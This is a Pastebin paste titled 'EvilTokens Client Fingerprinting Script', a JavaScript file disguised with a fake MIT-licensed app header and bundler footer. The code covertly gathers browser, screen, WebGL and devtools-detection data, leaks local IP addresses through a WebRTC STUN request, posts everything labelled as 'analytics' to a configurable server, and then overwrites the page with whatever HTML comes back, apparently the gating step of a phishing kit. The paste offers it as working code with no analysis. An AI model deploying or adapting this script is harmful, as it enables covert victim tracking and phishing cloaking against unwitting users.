Guest User

EvilTokens Client Fingerprinting Script

a guest
Jul 30th, 2026
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 4.41 KB | Cybersecurity | 0 0
  1. /*! app v1.4.2 | MIT License | https://opensource.org/licenses/MIT */
  2. (function(w, d) {
  3.   "use strict";
  4.   try { w.matchMedia && w.matchMedia("(prefers-color-scheme:dark)"); } catch (e) {}
  5.   try { w.addEventListener && w.addEventListener("resize", function() {}); } catch (e) {}
  6.   var el = d.currentScript || (function() { var s = d.getElementsByTagName("script"); return s[s.length - 1]; })();
  7.   var cfg = (el.getAttribute("data-u") || "").replace(/\\/g, "") || location.href;
  8.   var path = (el.getAttribute("data-p") || "").replace(/\\/g, "");
  9.   var minDelay = 3000;
  10.   var data = {}, errors = [], aborted = false;
  11.   w.addEventListener("pagehide", function() { aborted = true; });
  12.  
  13.   function proc(key, val, out) {
  14.     try {
  15.       if (key === "plugins" && val && typeof val.length !== "undefined") {
  16.         out[key] = val.length;
  17.       } else {
  18.         var t = typeof val;
  19.         if (t === "function" || (t === "object" && val !== null)) {
  20.           val = val.toString();
  21.         }
  22.         out[key] = val;
  23.       }
  24.     } catch (e) { errors.push(e.message); }
  25.   }
  26.  
  27.   function read(obj) {
  28.     if (!obj || typeof obj !== "object") return null;
  29.     var out = {};
  30.     try { for (var k in obj) proc(k, obj[k], out); } catch (e) {}
  31.     try {
  32.       var keys = Object.getOwnPropertyNames(obj);
  33.       var i = keys.length;
  34.       while (i--) proc(keys[i], obj[keys[i]], out);
  35.       out["!!"] = keys;
  36.     } catch (e) { errors.push(e.message); }
  37.     return out;
  38.   }
  39.  
  40.   function collect() {
  41.     data.screen = read(w.screen);
  42.     data.window = read(w);
  43.     data.navigator = read(w.navigator);
  44.     data.console = read(w.console);
  45.     try { data.console.toString = w.console.toString.toString(); } catch (e) { errors.push(e.message); }
  46.     data.document = read(d);
  47.  
  48.     try { data.timezoneOffset = (new Date).getTimezoneOffset(); } catch (e) { errors.push(e.message); }
  49.     try { data.frame = w.self !== w.top; } catch (e) { data.frame = true; }
  50.  
  51.     try {
  52.       var gl = d.createElement("canvas").getContext("webgl"),
  53.           ext = gl.getExtension("WEB"+"GL_deb"+"ug_re"+"nderer_info");
  54.       data.webgl = {
  55.         vendor: gl.getParameter(ext.UNMASKED_VENDOR_WEBGL),
  56.         renderer: gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)
  57.       };
  58.     } catch (e) { errors.push(e.message); }
  59.  
  60.     try { data.rtc = !!(w.RTCPeerConnection || w.webkitRTCPeerConnection || w.mozRTCPeerConnection); } catch (e) {}
  61.  
  62.     data.errors = errors;
  63.   }
  64.  
  65.   function net(callback) {
  66.     var RTC = w.RTCPeerConnection || w.webkitRTCPeerConnection || w.mozRTCPeerConnection;
  67.     if (RTC) {
  68.       try {
  69.         var pc = new RTC({ iceServers: [{ urls: "stu"+"n:stun.l."+"google."+"com:19302" }] }),
  70.             tm = setTimeout(function() { done(); }, 120);
  71.         data._rtc = [];
  72.         pc.createDataChannel("");
  73.         pc.onicecandidate = function(e) {
  74.           if (e.candidate) {
  75.             var p = e.candidate.candidate.split(" ");
  76.             if (p.length >= 5) data._rtc.push({ i: p[4], t: p[7], p: p[2] });
  77.           } else {
  78.             clearTimeout(tm);
  79.             done();
  80.           }
  81.         };
  82.         pc.createOffer().then(function(o) { return pc.setLocalDescription(o); }).catch(function() {});
  83.         function done() { try { pc.close(); } catch (x) {} callback(); }
  84.       } catch (e) { callback(); }
  85.     } else { callback(); }
  86.   }
  87.  
  88.   function send() {
  89.     var hash = location.hash || "";
  90.     var t0 = Date.now();
  91.     collect();
  92.     net(function() {
  93.       if (aborted) return;
  94.       var submit = function() {
  95.         if (aborted) return;
  96.         var body = new URLSearchParams();
  97.         body.append("analytics", JSON.stringify(data));
  98.         body.append("_h", hash);
  99.         body.append("_p", path);
  100.         w.fetch(cfg, { method: "POST", body: body, credentials: "same-origin" })
  101.           .then(function(r) { return r.text(); })
  102.           .then(function(html) {
  103.             if (aborted) return;
  104.             try { d.open(); d.write(html); d.close(); } catch (e) {}
  105.           })
  106.           .catch(function() {});
  107.       };
  108.       var wait = Math.max(0, minDelay - (Date.now() - t0));
  109.       if (wait > 0) setTimeout(submit, wait); else submit();
  110.     });
  111.   }
  112.  
  113.   function init() {
  114.     if (d.body) { send(); } else { setTimeout(init, 10); }
  115.   }
  116.  
  117.   init();
  118. })(window, document);
  119.  
  120. /*! For license information please see runtime.62e5f48e213c22978f9b.js.LICENSE.txt */
  121. //# sourceMappingURL=runtime.62e5f48e213c22978f9b.js.map
Advertisement
Add Comment
Please, Sign In to add comment